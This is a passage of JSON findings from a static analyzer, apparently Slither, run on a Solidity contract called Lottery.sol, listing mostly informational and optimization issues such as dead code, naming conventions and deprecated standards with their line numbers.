{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [492, 493, 494, 495, 496, 497, 498]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [679, 680, 681, 682, 683, 684, 685]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [874, 875, 876]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [601, 602, 603, 604, 605, 606]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [480, 481, 482, 483, 484, 485]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [225, 226, 227]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [769, 770, 771]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [589, 590, 591, 592, 593, 594]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 927]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [441, 442, 443, 444, 445, 446]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [544, 537, 538, 539, 540, 541, 542, 543]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [486, 487, 488, 489, 490, 491]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [107, 108, 109, 110, 111, 112]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [273, 274, 275]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [652, 653, 654, 655, 656, 657]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [613, 614, 615, 616, 617]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [521, 522, 523, 524, 525, 526, 527, 528]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [281, 282, 283]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [264, 265, 266, 263]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [371, 372, 373]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [623, 624, 625, 626, 627]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [468, 469, 470, 471, 472, 473]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [474, 475, 476, 477, 478, 479]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [529, 530, 531, 532, 533, 534, 535, 536]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [1024, 1025, 1026, 1027, 1028, 1029, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1027]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1104]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1089]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [949]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1147]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1071]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1068]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [992]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1122]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1024]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [42]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [38]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [47]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [37]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [1312, 1313, 1314, 1315, 1307, 1308, 1309, 1310, 1311]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [1330, 1331, 1332, 1333]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [46]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [41]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [35]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [365, 366, 367]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [1347, 1348, 1349]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [43]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [39]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [45]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [51]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [44]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [40]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [36]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [31]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1248]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"Lottery.sol": [1331]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [672, 673, 674, 675, 676, 677, 678]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1000]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [861]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [418, 419, 420, 421, 422]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [652, 653, 654, 655, 656, 657]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [403, 404, 405, 406, 407]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [452, 453, 454, 455, 456]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [874]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [861]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [513, 514, 515, 516, 517, 518, 519]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [940]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [762, 763, 764]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [861]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [299]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [365, 366, 367]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [711, 712, 713, 714, 715, 716, 717, 718]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [384, 385, 386, 387, 383]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [297]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [553, 554, 555, 556, 557, 558, 559, 560, 561]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1262]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [304]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1086]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [799]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [618, 619, 620, 621, 622]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [499, 500, 501, 502, 503, 504, 505]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [695, 696, 697, 698, 699, 700, 701, 702]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [817]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [298]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [291]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [865]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [306]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [301]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [844]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [589, 590, 591, 592, 593, 594]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721, 722, 723, 724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151, 1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164, 1165, 1166, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193, 1194, 1195, 1196, 1197, 1198, 1199, 1200, 1201, 1202, 1203, 1204, 1205, 1206, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [613, 614, 615, 616, 617]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [737, 738, 739, 740, 741, 742, 743, 744, 745]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [416, 417, 413, 414, 415]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [719, 720, 721, 722, 723, 724, 725, 726, 727]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [756, 757, 758]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [746, 747, 748, 749, 750, 751, 752, 753, 754]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [665, 666, 667, 668, 669, 670, 671]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [492, 493, 494, 495, 496, 497, 498]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [879]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [303]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [300]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [88]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [869]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [769, 770, 771]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [640, 641, 642, 643, 644, 645]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [623, 624, 625, 626, 627]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [562, 563, 564, 565, 566, 567, 568, 569, 570]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [658, 659, 660, 661, 662, 663, 664]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [687, 688, 689, 690, 691, 692, 693, 694]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [379, 380, 381]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [879]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [948]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1076]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [429, 430, 431, 432, 433, 434]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [393, 394, 395, 396, 397]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1076]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [408, 409, 410, 411, 412]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [36]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1076]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1344, 1345, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [371, 372, 373]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [512, 506, 507, 508, 509, 510, 511]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [799]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [294]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [939]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [601, 602, 603, 604, 605, 606]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [398, 399, 400, 401, 402]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [779]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [302]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [844]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [38]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [468, 469, 470, 471, 472, 473]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [423, 424, 425, 426, 427, 428]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [844]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [544, 537, 538, 539, 540, 541, 542, 543]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [47]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [545, 546, 547, 548, 549, 550, 551, 552]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [474, 475, 476, 477, 478, 479]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [462, 463, 464, 465, 466]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [861]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [580, 581, 582, 583, 584, 585, 586, 587, 588]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [817]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [448, 449, 450, 451, 447]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [940, 941, 942]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [844]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [865]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [83, 84, 85, 86]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1297]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [40]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [595, 596, 597, 598, 599, 600]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [368, 369]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [944, 945, 946]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [486, 487, 488, 489, 490, 491]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [388, 389, 390, 391, 392]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [441, 442, 443, 444, 445, 446]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [646, 647, 648, 649, 650, 651]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [628, 629, 630, 631, 632]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [480, 481, 482, 483, 484, 485]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [608, 609, 610, 611, 612, 607]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [996, 997, 998]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [869]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [634, 635, 636, 637, 638, 639]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [529, 530, 531, 532, 533, 534, 535, 536]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [295]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [948]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [296]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [376, 377, 375]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [521, 522, 523, 524, 525, 526, 527, 528]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [457, 458, 459, 460, 461]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [765, 766, 767]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [293]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [679, 680, 681, 682, 683, 684, 685]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [844]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1098]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [948]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [760, 761, 759]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [865]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [576, 577, 578, 579, 571, 572, 